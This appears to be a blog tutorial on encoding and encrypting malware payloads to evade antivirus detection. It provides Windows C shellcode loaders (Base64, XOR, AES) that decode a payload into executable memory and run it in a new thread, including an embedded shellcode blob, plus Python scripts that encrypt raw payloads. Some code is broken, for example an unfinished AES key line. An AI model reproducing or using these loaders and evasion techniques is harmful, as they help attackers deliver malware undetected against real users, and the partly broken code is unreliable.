Payload Encoding and Encryption

Payload Encoding and Encryption play significant roles in the field of malware development. They are used to hide the true contents of a payload, making it harder to detect or analyze.

  1. Why do we want to encode and encrypt our payloads?

    • Concealment: Encoding and encrypting payloads can help evade detection by antivirus software and intrusion detection systems. They can also make it more difficult for defenders to analyze the malware, since they first have to decode or decrypt the payload to understand what it does.
    • Integrity: Encryption can help ensure that the payload is not tampered with during transit.
    • Non-Detection: Certain encoding schemes can help the payload blend in with normal traffic, making it less likely to raise alarms.
  2. What is the difference between encoding and encryption?

    • Encoding: Encoding is a process of converting data into a different format using a scheme that is publicly available. The purpose of encoding is to transform data so it can be properly consumed by different types of systems. It's meant for safe transport. Base64 and URL encoding are examples of encoding schemes. Encoding does not intend to hide or secure data, and as such, it can be easily reversed if you know the type of encoding used.
    • Encryption: Encryption is the process of converting data into a secret code that hides its true meaning. The purpose of encryption is confidentiality—only an authorized party can decrypt and retrieve the original data. It's meant for secure transport. AES and RSA are examples of encryption schemes.
  3. Examples of Encoding and Encryption:

    • Base64 (Encoding): Base64 is a binary-to-text encoding scheme that represents binary data in a printable ASCII string format by translating it into a radix-64 representation. This is used when you want to encode binary data, especially when that data needs to be stored and transferred over media that are designed to handle text.

    Example:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <Wincrypt.h>
#pragma comment (lib, "Crypt32.lib")


// I got the below code by doing "certutil -encode calc.bin calc.b64" which creates a file with that string.
unsigned char calc_payload[] = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA";
unsigned int calc_len = sizeof(calc_payload);


int DecodeBase64( const BYTE * src, unsigned int srcLen, char * dst, unsigned int dstLen ) {

    DWORD outLen;
    BOOL fRet;

    outLen = dstLen;
    fRet = CryptStringToBinary( (LPCSTR) src, srcLen, CRYPT_STRING_BASE64, (BYTE * )dst, &outLen, NULL, NULL);
    
    if (!fRet) outLen = 0;  // failed
    
    return( outLen );
}


int main(void) {
    
    void * exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;
    
    // Allocate new memory buffer for payload
    exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    printf("\nHit me 1st!\n");
    getchar();

    // Decode the payload back to binary form
    DecodeBase64((const BYTE *)calc_payload, calc_len, (char *) exec_mem, calc_len);
    
    // Make the buffer executable
    rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

    printf("\nHit me 2nd!\n");
    getchar();

    // If all good, execute!
    if ( rv != 0 ) {
            th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
            WaitForSingleObject(th, -1);
    }

    return 0;
}
  • XOR (Encoding/Encryption): XOR operation can be used for both simple encoding and encryption. It's a symmetric operation, meaning the same operation will both encode and decode the data. XOR is often used in malware because it's simple and fast. However, it's not secure against attackers who have access to both the encoded payload and the original data, or who can guess patterns in the data.
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Since XOR is symmetric we can use the same key to encrypt and decrypt. 
void XOR(char * data, size_t data_len, char * key, size_t key_len) {
    int j;
    
    j = 0;
    for (int i = 0; i < data_len; i++) {
        if (j == key_len - 1) j = 0;

        data[i] = data[i] ^ key[j];
        j++;
    }
}

int main(void) {
    
    void * exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;
    // To grab the payload please use the python script below
    unsigned char calc_payload[] = {ENTERPYTHONRESULTSHERE};
    unsigned int calc_len = sizeof(calc_payload);
    char key[] = "mysecretkeee";

    // Allocate a buffer for payload
    exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    printf("\nHit me 1st!\n");
    getchar();

    // Decrypt (DeXOR) the payload
    XOR((char *) calc_payload, calc_len, key, sizeof(key));
    
    // Copy the payload to allocated buffer
    RtlMoveMemory(exec_mem, calc_payload, calc_len);
    
    // Make the buffer executable
    rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

    printf("\nHit me 2nd!\n");
    getchar();

    // If all good, launch the payload
    if ( rv != 0 ) {
            th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
            WaitForSingleObject(th, -1);
    }

    return 0;
}

Python script to get the XOR string:

# Make sure you provide a binary file.
import sys

KEY = "mysecretkeee"

def xor(data, key):
    
    key = str(key)
    l = len(key)
    output_str = ""

    for i in range(len(data)):
        current = data[i]
        current_key = key[i % len(key)]
        output_str += chr(ord(current) ^ ord(current_key))
    
    return output_str

def printCiphertext(ciphertext):
    print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')
try:
    plaintext = open(sys.argv[1], "rb").read()
except:
    print("File argument needed! %s <raw payload file>" % sys.argv[0])
    sys.exit()


ciphertext = xor(plaintext, KEY)
print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')
  • AES (Encryption): AES (Advanced Encryption Standard) is a symmetric encryption algorithm that's widely used because of its speed and security. It requires the use of a secret key to both encrypt and decrypt the data. While it's much more secure than XOR, it's also more computationally intensive.

Example:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#include <psapi.h>


int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
        HCRYPTPROV hProv;
        HCRYPTHASH hHash;
        HCRYPTKEY hKey;

        if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
                return -1;
        }
        if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
                return -1;
        }
        if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
                return -1;              
        }
        if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
                return -1;
        }
        
        if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
                return -1;
        }
        
        CryptReleaseContext(hProv, 0);
        CryptDestroyHash(hHash);
        CryptDestroyKey(hKey);
        
        return 0;
}


int main(void) {
    
    void * exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;

    char key[] = 
    unsigned char calc_payload[] = {ENTERPYTHONRESULTSHERE};
    unsigned int calc_len = sizeof(calc_payload);
    
    // Allocate memory for payload
    exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    printf("\nHit me 1st!\n");
    getchar();

    // Decrypt payload
    AESDecrypt((char *) calc_payload, calc_len, key, sizeof(key));
    
    // Copy payload to allocated buffer
    RtlMoveMemory(exec_mem, calc_payload, calc_len);
    
    // Make the buffer executable
    rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

    printf("\nHit me 2nd!\n");
    getchar();

    // If all good, launch the payload
    if ( rv != 0 ) {
            th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
            WaitForSingleObject(th, -1);
    }

    return 0;
}

Python Example to encrypt using with AES:

import sys
from Crypto.Cipher import AES
from os import urandom
import hashlib

KEY = urandom(16)

def pad(s):
    return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)

def aesenc(plaintext, key):

    k = hashlib.sha256(key).digest()
    iv = 16 * '\x00'
    plaintext = pad(plaintext)
    cipher = AES.new(k, AES.MODE_CBC, iv)

    return cipher.encrypt(bytes(plaintext))


try:
    plaintext = open(sys.argv[1], "r").read()
except:
    print("File argument needed! %s <raw payload file>" % sys.argv[0])
    sys.exit()

ciphertext = aesenc(plaintext, KEY)
print('AESkey[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in KEY) + ' };')
print('payload[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')

Leave a Reply

Your email address will not be published. Required fields are marked *